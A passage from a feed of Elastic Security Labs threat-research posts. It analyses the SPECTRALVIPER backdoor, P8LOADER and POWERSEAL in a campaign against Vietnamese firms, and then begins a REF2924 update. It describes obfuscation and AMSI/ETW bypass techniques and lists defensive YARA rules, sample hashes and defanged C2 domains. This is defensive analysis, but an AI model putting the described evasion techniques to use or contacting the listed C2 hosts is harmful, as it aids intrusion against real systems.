<td>CreateDirectory</td>
</tr>
<tr>
<td>111</td>
<td>MoveFile</td>
</tr>
<tr>
<td>200</td>
<td>RunDLLInOwnProcess</td>
</tr>
</tbody>
</table>
<p>In order to speed up the process of interacting with SPECTRALVIPER, we bypassed the communication protocols and injected our own backdoor into the binary. This backdoor will open a socket and call the handlers upon receiving our messages.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image13.jpg" alt="Injecting our backdoor to call SPECTRALVIPER handlers" /></p>
<p>When the <strong>AdjustPrivileges</strong> command is executed, and depending on the process's current privilege level, the malware will try to set the following list of privileges.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image3.jpg" alt="SPECTRALVIPER setting privileges" /></p>
<h3>Defense evasion</h3>
<h4>Code obfuscation</h4>
<p>The binary code is heavily obfuscated by splitting each function into multi-level dummy functions that encapsulate the initial logic. On top of that, the control flow of those functions is also obfuscated using control flow flattening. <a href="https://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/">Control flow flattening</a> is an obfuscation technique that removes clean program structures and places the blocks next to each other inside a loop with a switch statement to control the flow of the program.</p>
<p>Below is an example of a second-level identity function where the highlighted parameter <strong>p_a1</strong> is just returned despite the complexity of the function.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image21.jpg" alt="SPECTRALVIPER obfuscated function example" /></p>
<h4>String obfuscation</h4>
<p>SPECTRALVIPER’s strings are obfuscated using a custom structure and AES decryption. The key is hardcoded ( <strong>&quot;\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f&quot;</strong> ) and the IV is contained within the encrypted string structure.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image24.jpg" alt="Encrypted string structure 1/2" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image2.jpg" alt="Encrypted string structure 2/2" /></p>
<p>We can decrypt the strings by instrumenting the malware and calling its AES decryption functions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image27.jpg" alt="Decrypting strings by instrumenting the binary 1/2" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image31.png" alt="Decrypting strings by instrumenting the binary 2/2" /></p>
<h3>Summary</h3>
<p>SPECTRALVIPER is an x64 backdoor discovered during intrusion analysis by Elastic Security Labs. It can be compiled as an executable or DLL which usually would imitate known binary exports.</p>
<p>It enables process loading/injection, token impersonation, and file manipulation. It utilizes encrypted communication channels (HTTP and named pipe) with AES encryption and Diffie-Hellman or RSA1024 key exchange.</p>
<p>All samples are heavily obfuscated using the same obfuscator with varying levels of hardening.</p>
<p>Using the information we collected through static and dynamic analysis, we were able to identify several other samples in VirusTotal. Using the debugging process outlined above, we were also able to collect the C2 infrastructure for these samples.</p>
<h2>P8LOADER</h2>
<h3>Overview</h3>
<p>The Portable Executable (PE) described below is a Windows x64 PE loader, written in C++, which we are naming P8LOADER after one of its exports, <strong>P8exit</strong>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image5.jpg" alt="P8exit export name" /></p>
<h3>Discovery</h3>
<p>P8LOADER was initially discovered when an unbacked shellcode alert was generated by the execution of a valid Windows process, <strong>RuntimeBroker.exe</strong>. Unbacked executable sections, or <em>floating code</em>, are the result of code section types set to “Private” instead of “Image” like you would see when code is mapped to a file on disk. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image1.jpg" alt="P8LOADER unbacked observation" /></p>
<blockquote>
<p>If you want to learn more about unbacked executable events, check out the <a href="https://www.elastic.co/jp/security-labs/hunting-memory">Hunting in Memory research</a> publication by Joe Desimone.</p>
</blockquote>
<h3>Execution flow</h3>
<p>The loader exports two functions that have the capability to load PE binaries into its own process memory, either from a file or from memory.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image26.jpg" alt="P8LOADER functions" /></p>
<p>The PE to be executed is loaded into memory using the <strong>VirtualAlloc</strong> method with a classic PE loading algorithm (loading sections, resolving imports, and applying relocations).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image9.jpg" alt="P8LOADER loading the PE to be executed" /></p>
<p>Next, a new thread is allocated with the entry point of the PE as the starting address.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image34.jpg" alt="P8LOADER setting the PE starting address" /></p>
<p>Finally, the loaded PE’s STDOUT handle is replaced with a pipe and a reading pipe thread is created as a way to redirect the output of the binary to the loader logging system.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image29.jpg" alt="P8LOADER redirecting to the loader logging system" /></p>
<p>On top of redirecting the loaded PE output, the loader uses an API interception mechanism to hook certain APIs of the loaded process, log any calls to it, and send the data through a named pipe (with a randomly generated UUID string as the name).</p>
<p>The hooking of the PE's import table is done at import resolution time by replacing the originally imported function addresses with their own stub.</p>
<h3>Defense evasion</h3>
<h4>String obfuscation</h4>
<p>P8LOADER uses a C++ template-based obfuscation technique to obscure errors and debug strings with a set of different algorithms chosen randomly at compile time.</p>
<p>These strings are obfuscated to hinder analysis as they provide valuable information about the loader functions and capabilities.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image7.png" alt="String decryption algorithm example 1/3" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image23.png" alt="String decryption algorithm example 2/3" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image25.jpg" alt="String decryption algorithm example 3/3" /></p>
<h3>Summary</h3>
<p>P8LOADER is a newly discovered x64 Windows loader that is used to execute a PE from a file or from memory. This malware is able to redirect the loaded PE output to its logging system and hook the PE imports to log import calls.</p>
<h2>POWERSEAL code analysis</h2>
<h3>Overview</h3>
<p>During this intrusion, we observed a lightweight .NET PowerShell runner that we call POWERSEAL based on embedded strings. After SPECTRALVIPER was successfully deployed, the POWERSEAL utility would be used to launch supplied PowerShell scripts or commands. The malware leverages syscalls ( <strong>NtWriteVirtualMemory</strong> ) for evading defensive solutions (AMSI/ETW).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image11.jpg" alt="POWERSEAL Classes/Functions" /></p>
<h3>Defense evasion</h3>
<p>Event Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers. The Anti Malware Scan Interface (AMSI) provides enhanced malware protection for data, applications, and workloads. POWERSEAL adopts well-known and publicly-available bypasses in order to patch these technologies in memory. This increases their chances of success while decreasing their detectable footprint.</p>
<p>For example, POWERSEAL employs <a href="https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/">common approaches to unhooking and bypassing AMSI</a> in order to bypass Microsoft Defender’s signature</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image8.jpg" alt="POWERSEAL bypassing AMSI" /></p>
<h3>Launch PowerShell</h3>
<p>POWERSEAL’s primary function is to execute PowerShell. In the following depiction of POWERSEAL’s source code, we can see that POWERSEAL uses PowerShell to execute a script and arguments ( <strong>command</strong> ). The script and arguments are provided by the threat actor and were not observed in the environment.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image32.jpg" alt="POWERSEAL executing shellcode with PowerShell" /></p>
<h3>Summary</h3>
<p>POWERSEAL is a new and purpose-built PowerShell runner that borrows freely from a variety of open source offensive security tools, delivering offensive capabilities in a streamlined package with built-in defense evasion.</p>
<h2>Campaign and adversary modeling</h2>
<h3>Overview</h3>
<p>REF2754 is an ongoing campaign against large nationally important public companies within Vietnam. The malware execution chain in this campaign is initiated with DONUTLOADER, but goes on to utilize previously unreported tooling.</p>
<ol>
<li>SPECTRALVIPER, an obfuscated x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, token impersonation, and named pipe and HTTP command and control</li>
<li>P8LOADER, an obfuscated Windows PE loader allowing the attacker to minimize and obfuscate some logging on the victim endpoints, and</li>
<li>POWERSEAL, a PowerShell runner with ETW and AMSI bypasses built in for enhanced defensive evasion when using PowerShell tools</li>
</ol>
<p>Elastic Security Labs concludes with moderate confidence that this campaign is executed by a Vietnamese state-affiliated threat.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image4.png" alt="REF2754 and REF4322 campaign intersections" /></p>
<h3>Victimology</h3>
<p>Using our SPECTRALVIPER YARA signature, we identified two endpoints in a second environment infected with SPECTRALVIPER implants. That environment was discussed in Elastic Security Labs research in 2022 which describes <a href="https://www.elastic.co/jp/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector">REF4322</a>.</p>
<p>The REF4322 victim is a Vietnam-based financial services company. Elastic Security Labs first talked about this victim and activity group in 2022.</p>
<p>The REF2754 victim has been identified as a large Vietnam-based agribusiness.</p>
<p>Further third party intelligence from VirusTotal, based on retro-hunting the YARA rules available at the end of this research, indicate additional Vietnam-based victims. There were eight total Retrohunt hits:</p>
<ul>
<li>All were manually confirmed to be SPECTRALVIPER</li>
<li>All samples were between 1.59MB and 1.77MB in size</li>
<li>All VirusTotal samples were initially submitted from Vietnam</li>
</ul>
<p>Some samples were previously identified in our first party collection, and some were new to us.</p>
<blockquote>
<p>Be mindful of the analytic limitations of relying on “VT submitter” too heavily. This third party reporting mechanism may be subject to circular reporting concerns or VPN usage that modifies the GEOs used, and inadvertent reinforcement of a hypothesis. In this case, it was used in an attempt to try to find samples with apparent non-VN origins, without success.</p>
</blockquote>
<p>At the time of publication, all known victims are large public companies physically within Vietnam, and conducting business primarily within Vietnam.</p>
<h3>Campaign analysis</h3>
<p>The overlap with the REF4322 environment occurred fairly recently, on April 20, 2023. One of these endpoints was previously infected with the PHOREAL implant, while the other endpoint was compromised with PIPEDANCE.</p>
<p>These SPECTRALVIPER infections were configured under pipe mode as opposed to hardcoded domains set to wait for incoming connection over a named pipe ( <strong>\.\pipe\ydZb0bIrT</strong> ).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image18.jpg" alt="SPECTRALVIPER coresident on a PIPEDANCE-infected host" /></p>
<p>This activity appears to be a handoff of access or swapping out of one tool for another.</p>
<blockquote>
<p>If you’re interested in a detailed breakdown of the PIPEDANCE malware, check out our <a href="https://www.elastic.co/jp/security-labs/twice-around-the-dance-floor-with-pipedance">previous research</a> and stay tuned, more to come.</p>
</blockquote>
<p>Post-exploitation collection of intended effects has been limited, however, while speculative in nature, a motivation assessment based on malware, implant, and technical capabilities points to achieving initial access, maintaining persistence, and operating as a backdoor for intelligence gathering purposes.</p>
<p>Domains from REF4322, REF2754, and from samples collected from VirusTotal used for C2 have all been registered in the last year with the most recent being in late April 2023.</p>
<table>
<thead>
<tr>
<th>Domain:</th>
<th>Created:</th>
</tr>
</thead>
<tbody>
<tr>
<td>stablewindowsapp[.]com</td>
<td>2022-02-10</td>
</tr>
<tr>
<td>webmanufacturers[.]com</td>
<td>2022-06-10</td>
</tr>
<tr>
<td>toppaperservices[.]com</td>
<td>2022-12-15</td>
</tr>
<tr>
<td>hosting-wordpress-services[.]com</td>
<td>2023-03-15</td>
</tr>
<tr>
<td>appointmentmedia[.]com</td>
<td>2023-04-26</td>
</tr>
</tbody>
</table>
<p>GEOs for associated IPs for these domains are globally distributed, and they use Sectigo, Rapid SSL, and Let’s Encrypt certs. Further infrastructure analysis did not uncover anything of note beyond their registration date, which does give us a campaign timebox. Based on the recent registration of <strong>appointmentmedia[.]com</strong>, this campaign could still be ongoing with new domains being registered for future intrusions.</p>
<h3>Campaign associations</h3>
<p>Elastic Security Labs concludes with moderate confidence that both REF4322 and REF2754 activity groups represent campaigns planned and executed by a Vietnamese state-affiliated threat. Based on our analysis, this activity group overlaps with prior reporting of Canvas Cyclone, APT32, and OCEANLOTUS threat groups.</p>
<p>As stated above and in previous reporting, the REF4322 victim is a financial institution that manages capital for business acquisitions and former State-Owned-Enterprises.</p>
<p>The REF2754 victim is a large agribusiness that is systemically important in the food production and distribution supply chains of Vietnam. Ongoing urbanization, pollution, the COVID-19 pandemic, and climate change have been challenges for Vietnam’s food security. As a data point, in March of 2023, Vietnam’s Prime Minister <a href="https://apps.fas.usda.gov/newgainapi/api/Report/DownloadReportByFileName?fileName=Vietnam%20Issues%20National%20Action%20Plan%20on%20Food%20Systems%20Transformation%20toward%20Transparency%20Responsibility%20and%20Sustainability%20by%202030_Hanoi_Vietnam_VM2023-0017.pdf">approved</a> the National Action Plan on Food Systems Transformation toward Transparency, Responsibility, and Sustainability in Vietnam by 2030. Its overall objective is to transform the food systems including production, processing, distribution, and consumption towards transparency, responsibility, and sustainability based on local advantages; to ensure national food and nutrition security; to improve people's income and living standards; to prevent and control natural disasters and epidemics; to protect the environment and respond to climate change; and finally to contribute to the rolling-out of the Vietnam and Global Sustainable Development Goals by 2030. All of this highlights that food security has been a point of national policy emphasis, which also makes the victims of REF2754 an attractive target to threat actors because of their intersection with Vietnam’s strategic objectives.</p>
<p>In addition to the nationally-aligned strategic interests of the victims for REF4322 and REF2754, both victims were infected with the DONUTLOADER, P8LOADER, POWERSEAL, and SPECTRALVIPER malware families using similar deployment techniques, implant management, and naming conventions in both intrusions.</p>
<p>A threat group with access to the financial transaction records available in REF4322, combined with the national strategic food safety policy for REF2754 would provide insight into competency of management, corruption, foreign influence, or price manipulations otherwise unavailable through regulatory reporting.</p>
<h3>Diamond model</h3>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a (cluttered) single diamond.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/image12.png" alt="REF2754 Diamond Model" /></p>
<h2>Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and control</a></li>
</ul>
<h3>Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1592/">Gather host information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1590/">Gather victim network information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1135/">Network share discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1018/">Remote system discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and directory discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1007/">System service discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System owner/user discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application layer protocol: Web protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/003/">Access Token Manipulation: Make and Impersonate Token</a></li>
</ul>
<h2>Detection logic</h2>
<h3>Preventions</h3>
<p>All of the malware discussed in this research publication have protections included in Elastic Defend.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SpectralViper.yar">Windows.Trojan.SpectralViper</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PowerSeal.yar">Windows.Trojan.PowerSeal</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_P8Loader.yar">Windows.Trojan.P8Loader</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify SPECTRALVIPER, POWERSEAL, and P8LOADER</p>
<pre><code>rule Windows_Trojan_SpectralViper_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-04-13&quot;
        last_modified = &quot;2023-05-26&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;SpectralViper&quot;
        threat_name = &quot;Windows.Trojan.SpectralViper&quot;
        reference_sample = &quot;7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb&quot;
       license = &quot;Elastic License v2&quot;

    strings:
        $a1 = { 13 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 26 83 FD 0A 0F 9C 44 24 27 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
        $a2 = { 15 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 2E 83 FD 0A 0F 9C 44 24 2F 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
        $a3 = { 00 8D 68 FF 0F AF E8 40 F6 C5 01 0F 94 44 24 2E 83 FA 0A 0F 9C 44 24 2F 4C 89 CE 4C 89 C7 48 89 CB B8 }
        $a4 = { 00 48 89 C6 0F 29 30 0F 29 70 10 0F 29 70 20 0F 29 70 30 0F 29 70 40 0F 29 70 50 48 C7 40 60 00 00 00 00 48 89 C1 E8 }
        $a5 = { 41 0F 45 C0 45 84 C9 41 0F 45 C0 EB BA 48 89 4C 24 08 89 D0 EB B1 48 8B 44 24 08 48 83 C4 10 C3 56 57 53 48 83 EC 30 8B 05 }
        $a6 = { 00 8D 70 FF 0F AF F0 40 F6 C6 01 0F 94 44 24 25 83 FF 0A 0F 9C 44 24 26 89 D3 48 89 CF 48 }
        $a7 = { 48 89 CE 48 89 11 4C 89 41 08 41 0F 10 01 41 0F 10 49 10 41 0F 10 51 20 0F 11 41 10 0F 11 49 20 0F 11 51 30 }
        $a8 = { 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 22 83 FD 0A 0F 9C 44 24 23 48 89 D6 48 89 CF 4C 8D }
    condition:
        5 of them
}
</code></pre>
<pre><code>rule Windows_Trojan_SpectralViper_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-10&quot;
        last_modified = &quot;2023-05-10&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;SpectralViper&quot;
        threat_name = &quot;Windows.Trojan.SpectralViper&quot;
        reference_sample = &quot;d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8&quot;
       license = &quot;Elastic License v2&quot;

    strings:
        $a1 = { 18 48 89 4F D8 0F 10 40 20 0F 11 47 E0 0F 10 40 30 0F 11 47 F0 48 8D }
        $a2 = { 24 27 48 83 C4 28 5B 5D 5F 5E C3 56 57 53 48 83 EC 20 48 89 CE 48 }
        $a3 = { C7 84 C9 0F 45 C7 EB 86 48 8B 44 24 28 48 83 C4 30 5B 5F 5E C3 48 83 }
        $s1 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 51 10 48 8B 49 08 FF D0 48 89 43 18 B8 04 00 00 }
        $s2 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 49 08 FF D0 48 89 43 10 B8 04 00 00 00 48 83 C4 20 5B }
        $s3 = { 48 83 EC 28 4C 8B 41 18 4C 8B C9 48 B8 AB AA AA AA AA AA AA AA 48 F7 61 10 48 8B 49 08 48 C1 EA }
    condition:
        2 of ($a*) or any of ($s*)
}
</code></pre>
<pre><code>rule Windows_Trojan_PowerSeal_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-03-16&quot;
        last_modified = &quot;2023-05-26&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PowerSeal&quot;
        threat_name = &quot;Windows.Trojan.PowerSeal&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a1 = &quot;PowerSeal.dll&quot; wide fullword
        $a2 = &quot;InvokePs&quot; ascii fullword
        $a3 = &quot;amsiInitFailed&quot; wide fullword
        $a4 = &quot;is64BitOperatingSystem&quot; ascii fullword
    condition:
        all of them
}
</code></pre>
<pre><code>rule Windows_Trojan_PowerSeal_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-10&quot;
        last_modified = &quot;2023-05-10&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PowerSeal&quot;
        threat_name = &quot;Windows.Trojan.PowerSeal&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a1 = &quot;[+] Loading PowerSeal&quot;
        $a2 = &quot;[!] Failed to exec PowerSeal&quot;
        $a3 = &quot;AppDomain: unable to get the name!&quot;
    condition:
        2 of them
}
</code></pre>
<pre><code>rule Windows_Trojan_P8Loader {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-04-13&quot;
        last_modified = &quot;2023-05-26&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;P8Loader&quot;
        threat_name = &quot;Windows.Trojan.P8Loader&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a1 = &quot;\t[+] Create pipe direct std success\n&quot; fullword
        $a2 = &quot;\tPEAddress: %p\n&quot; fullword
        $a3 = &quot;\tPESize: %ld\n&quot; fullword
        $a4 = &quot;DynamicLoad(%s, %s) %d\n&quot; fullword
        $a5 = &quot;LoadLibraryA(%s) FAILED in %s function, line %d&quot; fullword
        $a6 = &quot;\t[+] No PE loaded on memory\n&quot; wide fullword
        $a7 = &quot;\t[+] PE argument: %ws\n&quot; wide fullword
        $a8 = &quot;LoadLibraryA(%s) FAILED in %s function, line %d&quot; fullword
    condition:
        5 of them
}
</code></pre>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/jp/security-labs/hunting-memory">https://www.elastic.co/jp/security-labs/hunting-memory</a></li>
<li><a href="https://www.elastic.co/jp/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector">https://www.elastic.co/jp/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector</a></li>
<li><a href="https://www.elastic.co/jp/security-labs/twice-around-the-dance-floor-with-pipedance">https://www.elastic.co/jp/security-labs/twice-around-the-dance-floor-with-pipedance</a></li>
<li><a href="https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/">https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/</a></li>
<li><a href="https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide">https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/spectralviper">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>56d2d05988b6c23232b013b38c49b7a9143c6649d81321e542d19ae46f4a4204</td>
<td>SHA-256</td>
<td>-</td>
<td>SPECTRALVIPER Related to 1.dll below</td>
</tr>
<tr>
<td>d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8</td>
<td>SHA-256</td>
<td>1.dll</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb</td>
<td>SHA-256</td>
<td>asdgb.exe</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>4e3a88cf00e0b4718e7317a37297a185ff35003192e5832f5cf3020c4fc45966</td>
<td>SHA-256</td>
<td>Settings.db</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>7b5e56443812eed76a94077763c46949d1e49cd7de79cde029f1984e0d970644</td>
<td>SHA-256</td>
<td>Microsoft.MicrosoftEdge_8wekyb3d8bbwe.pkg</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>5191fe222010ba7eb589e2ff8771c3a75ea7c7ffc00f0ba3f7d716f12010dd96</td>
<td>SHA-256</td>
<td>UpdateConfig.json</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>4775fc861bc2685ff5ca43535ec346495549a69891f2bf45b1fcd85a0c1f57f7</td>
<td>SHA-256</td>
<td>Microsoft.OneDriveUpdatePackage.mca</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>2482c7ececb23225e090af08feabc8dec8d23fe993306cb1a1f84142b051b621</td>
<td>SHA-256</td>
<td>ms-certificates.sst</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>stablewindowsapp[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
<tr>
<td>webmanufacturers[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
<tr>
<td>toppaperservices[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
<tr>
<td>hosting-wordpress-services[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
<tr>
<td>appointmentmedia[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/elastic-charms-spectralviper/photo-edited-10@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Update to the REF2924 intrusion set and related campaigns]]></title>
            <link>https://www.elastic.co/jp/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns</link>
            <guid>update-to-the-REF2924-intrusion-set-and-related-campaigns</guid>
            <pubDate>Tue, 07 Feb 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs is providing an update to the REF2924 research published in December of 2022. This update includes malware analysis of the implants, additional findings, and associations with other intrusions.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>DOORME is a malicious IIS module that provides remote access to a contested network.</li>
<li>SIESTAGRAPH interacts with Microsoft’s GraphAPI for command and control using Outlook and OneDrive.</li>
<li>SHADOWPAD is a backdoor that has been used in multiple campaigns attributed to a regional threat group with non-monetary motivations.</li>
<li>REF2924 analytic update incorporating third-party and previously undisclosed incidents linking the REF2924 adversary to Winnti Group and ChamelGang along technical, tactical, and victim targeting lines.</li>
</ul>
<h2>Preamble</h2>
<p>This research highlights the capabilities and observations of the two backdoors, named &quot;DOORME&quot; and &quot;SIESTAGRAPH&quot;, and a backdoor called “SHADOWPAD” that was <a href="https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">disclosed by Elastic</a> in December of 2022. DOORME is an IIS (Internet Information Services) backdoor module, which is deployed to web servers running the IIS software. SIESTAGRAPH is a .NET backdoor that leverages the Microsoft Graph interface, a collection of APIs for accessing various Microsoft services. SHADOWPAD is an actively developed and maintained modular remote access toolkit.</p>
<p>DOORME, SIESTAGRAPH, and SHADOWPAD each implement different functions that can be used to gain and maintain unauthorized access to an environment. The exact details of these functionalities will be described in further detail in this research publication. It is important to note that these backdoors can be used to steal sensitive information, disrupt operations, and gain a persistent presence in a victim environment.</p>
<p>Additionally, we will discuss the relationships between REF2924 and three other intrusions carried out by the same threat group, intrusion set, or both. These associations are made using first-party observations and third-party reporting. They have allowed us to state with moderate confidence that SIESTAGRAPH, DOORME, SHADOWPAD, and other elements of REF2924 are attributed to a regional threat group with non-monetary motivations.</p>
<blockquote>
<p>Additional information on the REF2924 intrusion setFor additional information on this intrusion set, which includes our initial disclosure as well as information into the campaign targeting the Foreign Ministry of an ASEAN member state, check out our <a href="https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">previous research into REF2924</a>.</p>
</blockquote>
<h2>DOORME code analysis</h2>
<h3>Introduction to backdoored IIS modules</h3>
<p><a href="https://www.iis.net/">IIS</a>, developed by Microsoft, is an extensible web server software suite that serves as a platform for hosting websites and server-side applications within the Windows environment. With version 7.0, Microsoft has equipped IIS with a modular architecture that allows for the dynamic inclusion or exclusion of modules to suit various functional requirements. These modules correspond to specific features that the server can utilize to handle incoming requests.</p>
